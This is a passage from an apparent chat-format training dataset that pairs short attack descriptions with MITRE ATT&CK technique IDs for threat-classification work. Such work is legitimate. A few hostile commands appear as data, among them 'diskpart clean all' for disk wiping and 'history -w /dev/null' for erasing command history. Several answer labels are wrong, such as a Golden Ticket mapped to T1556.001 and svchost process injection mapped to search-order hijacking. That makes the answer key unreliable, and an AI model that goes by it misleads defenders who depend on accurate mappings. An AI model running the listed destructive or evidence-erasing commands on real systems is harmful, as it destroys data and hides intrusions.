                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs OSINT on the target’s vendor ecosystem, compiling a list of key business relationships and contract partners."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a script that parses the ~/Library/Keychains directory to collect stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool captured the output of \"ss -tulpen\" to map listening services and their endpoints."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the environment variable for Verclsid to point to a malicious script, resulting in execution under the guise of a trusted binary."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group creates a low‑privilege account on the network to blend in with normal users."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the operation, the group archives captured screenshots into a .zip folder."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs a PowerShell script that calls Get-ADComputer to collect hostnames."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abused msiexec.exe to launch a malicious DLL by passing a crafted command line, effectively using System Binary Proxy Execution: Msiexec."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing SMS (smishing) claims to be from the company's mobile device management system, asking users to verify their credentials through a malicious web portal."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host has a new cron entry that runs rsync to mirror sensitive documents to an attacker-owned SSH server on a weekly basis."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the software supply chain by inserting a malicious plugin into a popular IDE marketplace, which then propagates to developers' environments."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary collected data from a departmental share and staged it for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged AnyDesk to remotely access compromised hosts and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker with Domain Admin rights extracts the KRBTGT account hash and uses Mimikatz to create a forged Kerberos TGT, granting themselves unrestricted access to the network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware updates the system's PAM configuration files to accept a backdoor password for root access."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor scripts native API functions to enumerate running processes via EnumProcesses and then terminates security tools."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs 'ipconfig /all' on a compromised Windows host to enumerate IP addresses and DNS servers."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used phishing emails to gain control of residential routers, forming a botnet for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a domain obtained through a reseller to host a malicious JavaScript drive‑by exploit."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker schedules a command with \"at\" to launch a ransomware encryptor when the user is away."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool queries WMI with \"SELECT UserName FROM Win32_ComputerSystem\" to discover the active user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary’s infrastructure uses a large network of compromised hosts, with DNS entries that change rapidly to hide the true server location."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compromises a legitimate software vendor to steal their code signing certificate for malicious binary signing."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a WMI query \"Select * from Win32_UserAccount\" to discover user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a supply‑chain partnership, impersonating a legitimate service provider to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a setuid binary inside a chroot jail, the attacker broke out of the jail and obtained a root shell on the host machine."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker removes entries from the command history by executing 'history -w /dev/null' to prevent investigators from seeing used commands."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the startup type of the eventlog service to 'disabled'."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits the Kubernetes client library to call \"list_namespaced_pod\" and harvest pod metadata across namespaces."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a compromised domain controller to issue Golden Ticket Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker captures an active SSH session by stealing the victim's private key from memory and reusing it to maintain the connection."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed on the victim's device logged keystrokes while the user logged into their WhatsApp Web session, capturing the session token."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploitation of 0-day vulnerabilities in perimeter defenses"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a new registry value under HKEY_LOCAL_MACHINE\\Software\\MyApp\\Config containing encrypted login tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware delivered via a phishing email gave the attacker remote access to the web server, allowing them to deface the homepage with graffiti."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor corrupts a cloud‑based container registry and replaces images with malicious versions that run web services."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries monitor public Discord channels for discussions about vulnerable software versions used by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised browser extension, the threat actor captures user-typed data in web forms displayed in GUI windows."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a scheduled job in a Nomad cluster that triggers a malicious script to harvest environment variables."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised USB drive contains an autorun.inf file that automatically triggers a hidden malicious executable when the drive is inserted and opened by the user."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers persist by adding a PowerShell command to the Windows Registry's Run key."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool copies log files to a connected USB stick before the attacker leaves the premises with the media."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use DNS tunneling to smuggle sensitive data out of the network to their command server."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During boot, the malicious SSP DLL is loaded by the Local Security Authority, enabling code execution."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan creates a secure channel by encrypting all outbound traffic with the attacker’s public key, preventing decryption by defenders."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages the network device's Command Line Interface to enumerate interfaces and gather network topology."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages Windows RPC to coordinate actions between compromised processes on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is launched through a trusted compiler tool, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates large files by splitting them into chunks and uploading each chunk to a malicious FTP server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers a forced authentication on a database management tool, compelling the DBA to enter their credentials, which are then logged by the attacker."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script parsed the macOS unified logs using the \"log show\" command to enumerate system boot and shutdown events."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects itself into a legitimate svchost.exe process to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a PowerShell script to recursively read all files in the %APPDATA% folder and transfers them to a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a registry entry under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx to ensure the payload reopens at the next logon."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious plugin accesses Safari's saved passwords to obtain login details for company portals."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs the \"dmidecode\" utility on the victim system to retrieve detailed firmware and BIOS information."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker escalates privileges by adding write access for a normal user to a privileged service executable, then replaces it with a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker allocates memory in a legitimate process with VirtualAllocEx, writes shellcode, and triggers it via an Asynchronous Procedure Call using NtQueueApcThread."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged Azure's Compute Snapshot feature to clone a virtual machine's OS disk without the victim's knowledge."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware lists and copies files from the local drive before encrypting them."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Domain fronting is employed where the DNS request resolves to a cloud provider's IP, but the HTTP Host header is set to a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script runs `diskpart clean all` to erase the entire disk layout, removing partition and filesystem structures."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses the OCI (Oracle Cloud Infrastructure) IAM API to list all groups and the policies attached to them."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a macro that creates a temporary file using the Office temporary folder path to see if Office is functional."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code monitors the presence of sandbox monitoring tools like Process Explorer and evades by sleeping for extended periods."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary resolves Windows API calls at runtime by using GetProcAddress instead of static imports."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves running odbcconf with elevated privileges to install a malicious driver, allowing the attacker to execute code under the context of a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates all running processes via the tasklist command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is executed by registering a rogue assembly with regasm.exe, allowing the adversary to run code under the context of the regasm process."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email attachment triggers a heap overflow in an office suite, crashing the application and denying service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware examines the MAC address of the network adapter for OUI prefixes belonging to virtual NIC manufacturers."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks a remote PowerShell session by injecting a malicious script into the active PowerShell remoting channel."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script repeatedly calls a privileged system service's function with extensive parameters, causing memory exhaustion and forcing the service to restart."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign leads to the attacker using the victim’s login to harvest emails via POP3."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting code into the PubPrn driver, the attacker proxies script execution to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the application’s configuration to include a custom search path that points to a malicious script, causing the system to execute the script before the original one."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
